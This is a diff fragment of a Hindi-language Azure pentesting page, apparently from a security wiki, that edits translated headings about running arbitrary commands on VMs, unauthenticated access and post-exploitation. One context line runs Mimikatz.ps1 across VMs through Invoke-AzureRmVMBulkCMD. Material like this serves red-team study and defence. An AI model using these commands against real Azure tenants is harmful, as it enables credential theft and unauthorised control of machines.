+यह Azure द्वारा **VMs में मनचाहे कमांड चलाने** के लिए प्रदान किया गया सबसे बुनियादी तंत्र है। आवश्यक अनुमति है `Microsoft.Compute/virtualMachines/runCommand/action`। {{#tabs }} {{#tab name="Linux" }} @@ -790,13 +790,13 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md {{#endref}} -## बिना प्रमाणीकरण का प्रवेश +## बिना प्रमाणीकरण का अभिगम {{#ref}} ../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md {{#endref}} -## पोस्ट एक्सप्लोइटेशन +## पोस्ट शोषण {{#ref}} ../../az-post-exploitation/az-vms-and-network-post-exploitation.md